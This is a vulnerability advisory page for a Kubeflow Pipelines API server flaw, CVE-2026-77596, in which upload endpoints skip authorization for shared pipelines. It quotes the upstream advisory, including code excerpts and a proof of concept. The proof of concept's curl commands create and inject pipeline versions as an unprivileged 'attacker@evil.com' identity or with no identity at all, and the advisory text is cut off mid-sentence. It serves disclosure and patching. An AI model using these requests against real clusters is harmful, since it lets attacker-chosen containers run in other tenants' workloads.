Kubeflow Pipelines API server lacks authorization for shared pipeline uploads
CVE-2026-77596 · GHSA-rjr3-43j3-4q8g · GO-2026-6956 · EUVD-2026-117830 · published 5 Nov 2026
How serious is it
- Severity: critical, CVSS score 9.6 out of 10.
- Exploit prediction (EPSS): 0.3% chance of exploitation in the next 30 days, higher than 16% of all vulnerabilities.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-77596?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/kubeflow/pipelines(Go) < 0.0.0-20260909234119-62516d8c525f
How to check
- Run
go list -m github.com/kubeflow/pipelinesin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/kubeflow/pipelinesto 0.0.0-20260909234119-62516d8c525f or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
In multi-user mode, the Kubeflow Pipelines API server's HTTP multipart upload endpoints (`POST /apis/v2beta1/pipelines/upload` and `POST /apis/v2beta1/pipelines/upload_version`) perform no authorization when the target namespace is empty. The authorization helper `canUploadVersionedPipeline` returns `nil`, skipping `SubjectAccessReview`, whenever the resolved namespace is the empty string (`backend/src/apiserver/server/pipeline_upload_server.go:401-403`). An empty namespace is how KFP addresses shared, cluster-wide pipelines and is the default whenever the caller omits the `namespace` query parameter, because `REQUIRE_NAMESPACE_FOR_PIPELINES` defaults to `false` and is unset in every shipped manifest. As a result, an arbitrary low-privilege tenant (or, when the API server is reachable, an unauthenticated caller) can create cluster-shared pipelines and inject new versions into existing shared pipelines, replacing the container image, command, and args that other tenants execute. The gRPC sibling for the same write, `canAccessPipeline`, instead remaps the empty namespace to the system namespace and authorizes, with a comment stating shared-pipeline writes "must still be authorized". That confirms this is an omission, not intended behavior.
## Description
`uploadPipeline` and `uploadPipelineVersion` both build a `ResourceAttributes{Verb: create}` and delegate the access decision to `canUploadVersionedPipeline`:
```go
// backend/src/apiserver/server/pipeline_upload_server.go:387-421
func (s *PipelineUploadServer) canUploadVersionedPipeline(r *http.Request, pipelineID string, resourceAttributes *authorizationv1.ResourceAttributes) error {
if !common.IsMultiUserMode() {
return nil
}
if len(pipelineID) > 0 {
namespace, err := s.resourceManager.FetchNamespaceFromPipelineId(pipelineID)
if err != nil {
return util.Wrap(err, "Failed to authorize with the Pipeline ID")
}
if len(resourceAttributes.Namespace) == 0 {
resourceAttributes.Namespace = namespace
}
}
if resourceAttributes.Namespace == "" {
return nil // empty namespace = no SubjectAccessReview
}
// ... only here does IsAuthorized() run ...
}
```
When the namespace is empty (a shared/cluster-wide pipeline, or simply an upload with no `namespace` parameter), the function returns at line 401-403 and `IsAuthorized` is never reached.
Reachability is the default. `ValidateNamespaceRequired` only rejects an empty namespace when `IsNamespaceRequiredForPipelines()` is true:
```go
// backend/src/apiserver/validation/namespace.go:25-30
func ValidateNamespaceRequired(namespace string) error {
if common.IsMultiUserMode() && common.IsNamespaceRequiredForPipelines() && namespace == "" {
return util.NewInvalidInputError("Namespace is required for pipeline operations")
}
return nil
}
// backend/src/apiserver/common/config.go:73-74 -> default FALSE
func IsNamespaceRequiredForPipelines() bool {
return GetBoolConfigWithDefault(RequireNamespaceForPipelines, false)
}
```
`REQUIRE_NAMESPACE_FOR_PIPELINES` (`config.go:41`) defaults to `false` and is not set in any manifest under `manifests/`. So in a default multi-user install, empty namespaces pass validation and flow into the unguarded branch.
The gRPC sibling proves the intended behavior is to authorize empty-namespace writes:
```go
// backend/src/apiserver/server/pipeline_server.go:1290-1306 (canAccessPipeline)
// Skip authorization for read-only operations on shared pipelines in multi-user mode.
// Write operations (create, update, delete) on shared pipelines must still be authorized
// against the KFP system namespace, since shared pipelines have no namespace of their own.
if s.resourceManager.IsEmptyNamespace(resourceAttributes.Namespace) {
if resourceAttributes.Verb == common.RbacResourceVerbGet || resourceAttributes.Verb == common.RbacResourceVerbList {
return nil
}
resourceAttributes.Namespace = common.GetPodNamespace()
// ... IsAuthorized(...) ...
return nil
}
```
Reads of shared pipelines intentionally skip authorization; writes must be authorized against the system namespace. The upload endpoints only ever perform writes, yet `canUploadVersionedPipeline` applies the read behavior to them.
## Proof of Concept
Reproduced live against the real API server binary (`ghcr.io/kubeflow/kfp-api-server@sha256:621fdae9bfcc93405eca299c24f715bc7f17dbb76f1b53e8b2b35852e4d7d423`, `MULTIUSER=true`, `REQUIRE_NAMESPACE_FOR_PIPELINES` unset). The API server SA holds `subjectaccessreviews/tokenreviews: [create]` (authz fully functional); identity `attacker@evil.com` has no RBAC anywhere; `victim-ns` exists with no grant to the attacker.
1. Shared (empty-namespace) pipeline create as the unprivileged attacker (HTTP 200):
```
curl -F uploadfile=@pipeline.yaml -H "kubeflow-userid: attacker@evil.com" \
"http://APISERVER:8888/apis/v2beta1/pipelines/upload?name=shared-pwn"
-> {"pipeline_id":"80cd99df-...","name":"shared-pwn", ...}
```
2. Inject a new version into that shared pipeline, the high-impact primitive (HTTP 200):
```
curl -F uploadfile=@pipeline2.yaml -H "kubeflow-userid: attacker@evil.com" \
"http://APISERVER:8888/apis/v2beta1/pipelines/upload_version?name=evilversion&pipelineid=80cd99df-..."
-> {"pipeline_version_id":"32299f65-...","name":"evilversion","pipeline_spec":{ attacker IR }}
```
3. Same create with no identity header at all: HTTP 200 (`anon-shared-pwn` created).
4. Negative control, same attacker, `&namespace=victim-ns` (real namespace, no RBAC): HTTP 400, rejected at `pipeline_upload_server.go:135` (the `canUploadVersionedPipeline` error path). Authorization is live; only the empty-namespace branch bypasses it.
5. Asymmetry, gRPC `POST /apis/v2beta1/pipelines` with empty namespace as the same attacker: HTTP 403 PermissionDenied (`ResourceAttributes{Namespace:kubeflow,Verb:create,...}`). The gRPC path remapped empty to the system namespace and authorized.
API server logs corroborate: every…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/kubeflow/pipelines/security/advisories/GHSA-rjr3-43j3-4q8g
- github.com/kubeflow/pipelines/pull/14352
- github.com/kubeflow/pipelines/commit/62516d8c525f146b754cb515cf441dd0290ad841
- github.com/kubeflow/pipelines/releases/tag/2.18.0
- nvd.nist.gov/vuln/detail/CVE-2026-77596
- github.com/advisories/GHSA-rjr3-43j3-4q8g
- github.com/kubeflow/pipelines
Merged from ENISA EUVD, FIRST EPSS, GitHub Advisory Database, OSV. Last updated 24 Nov 2026. All vulnerabilities · RSS · JSON